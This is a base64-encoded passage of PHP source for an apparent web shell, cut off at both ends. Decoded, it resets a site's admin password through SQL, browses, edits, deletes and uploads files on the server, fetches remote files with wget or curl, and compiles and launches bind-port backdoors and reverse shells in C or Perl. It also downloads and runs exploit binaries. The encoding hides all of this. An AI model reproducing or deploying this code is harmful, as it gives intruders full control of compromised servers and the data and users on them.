ZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRoYXNoID0gY3J5cHQoJHB3ZCk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfbG9naW4gPSciLiRhZG1pbi4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7JGsyPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJfcGFzcyA9JyIuJGhhc2guIicgV0hFUkUgSUQgPSAxIikgb3IgZGllKG15c3FsX2Vycm9yKCkpO2lmKCRrMil7ZWNobyAnPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lIC4uLiBnbyBhbmQgbG9naW48L2gxPjwvY2VudGVyPic7fX1lY2hvICc8L2NlbnRlcj4nO30NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3RyaW5nJykpeyR0ZXh0ID0gJF9QT1NUWydjb2RlJ107Pz48Y2VudGVyPjxmb3JtIG1ldGhvZD0icG9zdCI+PGJyPjxicj48YnI+PHRleHRhcmVhIGNsYXNzPSdpbnB1dHonIGNvbHM9ODAgcm93cz01IG5hbWU9ImNvZGUiPmsybGwzM2Q8L3RleHRhcmVhPjxicj48YnI+PHNlbGVjdCBjbGFzcz0naW5wdXR6JyBzaXplPSIxIiBuYW1lPSJvcGUiPjxvcHRpb24gdmFsdWU9ImJhc2U2NCI+QmFzZTY0PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ibWQ1Ij5tZDU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJ3aGFzaCI+Q3J5cHQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJTSEExIj5TSEExPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0idXJsZW5jb2RlIj5VUkwgRW5jb2Rpbmc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtZDQiPm1kNDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IlNIQTI1NiI+U0hBMjU2PC9vcHRpb24+PC9zZWxlY3Q+Jm5ic3A7PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J2VuY3J5cHQnPjwvZm9ybT48P3BocCAkb3AgPSAkX1BPU1RbIm9wZSJdO3N3aXRjaCAoJG9wKSB7Y2FzZSAnYmFzZTY0JzogJGNvZGk9YmFzZTY0X2VuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ1JyA6ICRjb2RpPW1kNSgkdGV4dCk7YnJlYWs7Y2FzZSAnd2hhc2gnIDogJGNvZGk9Y3J5cHQoJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTEnIDogJGNvZGk9c2hhMSgkdGV4dCk7YnJlYWs7Y2FzZSAndXJsZW5jb2RlJyA6ICRjb2RpPXVybGVuY29kZSgkdGV4dCk7YnJlYWs7Y2FzZSAnbWQ0JyA6ICRjb2RpPWhhc2goIm1kNCIsJHRleHQpO2JyZWFrO2Nhc2UgJ1NIQTI1NicgOiAkY29kaT1oYXNoKCJzaGEyNTYiLCR0ZXh0KTticmVhaztkZWZhdWx0OmJyZWFrO31lY2hvICc8dGV4dGFyZWEgY29scz04MCByb3dzPTEwIGNsYXNzPSJpbnB1dHoiIHJlYWRvbmx5PicuJGNvZGkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jzt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocGluZm8nKSl7QG9iX3N0YXJ0KCk7QGV2YWwoInBocGluZm8oKTsiKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7JGF3YWwgPSBzdHJwb3MoJGJ1ZmYsIjxib2R5PiIpKzY7JGFraGlyID0gc3RycG9zKCRidWZmLCI8L2JvZHk+Iik7ZWNobyAiPGRpdiBjbGFzcz0ncGhwaW5mbyc+Ii5zdWJzdHIoJGJ1ZmYsJGF3YWwsJGFraGlyLSRhd2FsKS4iPC9kaXY+Ijt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd2aWV3J10pICYmICgkX0dFVFsndmlldyddICE9ICIiKSl7aWYoaXNfZmlsZSgkX0dFVFsndmlldyddKSl7aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9IG1hZ2ljYm9vbSgkX0dFVFsndmlldyddKTtpZighJHdpbiAmJiAkcG9zaXgpeyRuYW1lPUBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRmaWxlKSk7JGdyb3VwPUBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRmaWxlKSk7JG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9J2dheWEnPiA6IDwvc3Bhbj4iLiRncm91cFsnbmFtZSddO30gZWxzZSB7JG93bmVyID0gJHVzZXI7fSRmaWxuID0gYmFzZW5hbWUoJGZpbGUpO2VjaG8gIjx0YWJsZSBzdHlsZT0nbWFyZ2luOjZweCAwIDAgMnB4O2xpbmUtaGVpZ2h0OjIwcHg7Jz4gPHRyPjx0ZD5GaWxlbmFtZTwvdGQ+PHRkPjxzcGFuIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluayc+Ii4kZmlsZS4iPC9zcGFuPiA8Zm9ybSBhY3Rpb249Jz95PSIuJHB3ZC4iJmFtcDt2aWV3PSRmaWxlJyBtZXRob2Q9J3Bvc3QnIGlkPSciLmNsZWFyc3BhY2UoJGZpbG4pLiJfZm9ybScgY2xhc3M9J3NlbWJ1bnlpJyBzdHlsZT0nbWFyZ2luOjA7cGFkZGluZzowOyc+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J29sZG5hbWUnIHZhbHVlPSciLiRmaWxuLiInIHN0eWxlPSdtYXJnaW46MDtwYWRkaW5nOjA7JyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0eicgc3R5bGU9J3dpZHRoOjIwMHB4OycgdHlwZT0ndGV4dCcgbmFtZT0nbmV3bmFtZScgdmFsdWU9JyIuJGZpbG4uIicgLz4gPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0ncmVuYW1lJyB2YWx1ZT0ncmVuYW1lJyAvPiA8aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyBuYW1lPSdjYW5jZWwnIHZhbHVlPSdjYW5jZWwnIG9uY2xpY2s9J3R1a2FyKCciLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtJyk7JyAvPiA8L2Zvcm0+IDwvdGQ+PC90cj4gPHRyPjx0ZD5TaXplPC90ZD48dGQ+Ii51a3VyYW4oJGZpbGUpLiI8L3RkPjwvdHI+IDx0cj48dGQ+UGVybWlzc2lvbjwvdGQ+PHRkPiIuZ2V0X3Blcm1zKCRmaWxlKS4iPC90ZD48L3RyPiA8dHI+PHRkPk93bmVyPC90ZD48dGQ+Ii4kb3duZXIuIjwvdGQ+PC90cj4gPHRyPjx0ZD5DcmVhdGUgdGltZTwvdGQ+PHRkPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZWN0aW1lKCRmaWxlKSkuIjwvdGQ+PC90cj4gPHRyPjx0ZD5MYXN0IG1vZGlmaWVkPC90ZD48dGQ+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZpbGUpKS4iPC90ZD48L3RyPiA8dHI+PHRkPkxhc3QgYWNjZXNzZWQ8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsQGZpbGVhdGltZSgkZmlsZSkpLiI8L3RkPjwvdHI+IDx0cj48dGQ+QWN0aW9uczwvdGQ+PHRkPjxhIGhyZWY9Jz95PSRwd2QmYW1wO2VkaXQ9JGZpbGUnPmVkaXQ8L2E+IHwgPGEgaHJlZj1cImphdmFzY3JpcHQ6dHVrYXIoXCIiLmNsZWFyc3BhY2UoJGZpbG4pLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsbikuIl9mb3JtXCIpO1wiPnJlbmFtZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkZWxldGU9JGZpbGUnPmRlbGV0ZTwvYT4gfCA8YSBocmVmPSc/eT0kcHdkJmFtcDtkbD0kZmlsZSc+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9Jz95PSRwd2QmYW1wO2RsZ3ppcD0kZmlsZSc+Z3ppcDwvYT4pPC90ZD48L3RyPiA8dHI+PHRkPlZpZXc8L3RkPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7dmlldz0iLiRmaWxlLiInPnRleHQ8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWNvZGUnPmNvZGU8L2E+IHwgPGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3ZpZXc9Ii4kZmlsZS4iJmFtcDt0eXBlPWltYWdlJz5pbWFnZTwvYT48L3RkPjwvdHI+PC90YWJsZT4iOw0KaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdpbWFnZScpKXtlY2hvICI8ZGl2IHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46OHB4Oyc+PGltZyBzcmM9Jz95PSIuJHB3ZC4iJmFtcDtpbWc9Ii4kZmlsbi4iJz48L2Rpdj4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3R5cGUnXSkgJiYgKCRfR0VUWyd0eXBlJ109PSdjb2RlJykpe2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iOyRmaWxlID0gd29yZHdyYXAoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSwiMjQwIiwiXG4iKTtAaGlnaGxpZ2h0X3N0cmluZygkZmlsZSk7ZWNobyAiPC9kaXY+Ijt9IGVsc2Uge2VjaG8gIjxkaXYgY2xhc3M9J3ZpZXdmaWxlJz4iO2VjaG8gbmwyYnIoaHRtbGVudGl0aWVzKChAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpKSkpO2VjaG8gIjwvZGl2PiI7fX1lbHNlaWYoaXNfZGlyKCRfR0VUWyd2aWV3J10pKXtlY2hvIHNob3dkaXIoJHB3ZCwkcHJvbXB0KTt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWydlZGl0J10pICYmICgkX0dFVFsnZWRpdCddICE9ICIiKSl7aWYoaXNzZXQoJF9QT1NUWydzYXZlJ10pKXskZmlsZSA9ICRfUE9TVFsnc2F2ZWFzJ107JGNvbnRlbnQgPSBtYWdpY2Jvb20oJF9QT1NUWydjb250ZW50J10pO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKXskdGltZSA9IGRhdGUoImQtTS1ZIEg6aSIsdGltZSgpKTtpZihAZndyaXRlKCRmaWxleiwkY29udGVudCkpICRtc2cgPSAiZmlsZSBzYXZlZCA8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4gIi4kdGltZTtlbHNlICRtc2cgPSAiZmFpbGVkIHRvIHNhdmUiO0BmY2xvc2UoJGZpbGV6KTt9ZWxzZSAkbXNnID0gInBlcm1pc3Npb24gZGVuaWVkIjt9aWYoIWlzc2V0KCRmaWxlKSkkZmlsZSA9ICRfR0VUWydlZGl0J107aWYoJGZpbGV6ID0gQGZvcGVuKCRmaWxlLCJyIikpeyRjb250ZW50ID0gIiI7DQp3aGlsZSghZmVvZigkZmlsZXopKXskY29udGVudCAuPSBodG1sZW50aXRpZXMoc3RyX3JlcGxhY2UoIicnIiwiJyIsZmdldHMoJGZpbGV6KSkpO30NCkBmY2xvc2UoJGZpbGV6KTt9Pz48Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7ZWRpdD08P3BocCBlY2hvICRmaWxlOz8+IiBtZXRob2Q9InBvc3QiPiA8dGFibGUgY2xhc3M9ImNtZGJveCI+IDx0cj48dGQgY29sc3Bhbj0iMiI+IA0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIG5hbWU9ImNvbnRlbnQiPiANCjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPiA8dHI+DQo8dGQgY29sc3Bhbj0iMiI+U2F2ZSBhcyA8aW5wdXQgb25Nb3VzZU92ZXI9InRoaXMuZm9jdXMoKTsiIGlkPSJjbWQiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNhdmVhcyIgc3R5bGU9IndpZHRoOjYwJTsiIHZhbHVlPSI8P3BocCBlY2hvICRmaWxlOz8+IiAvPg0KPGlucHV0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B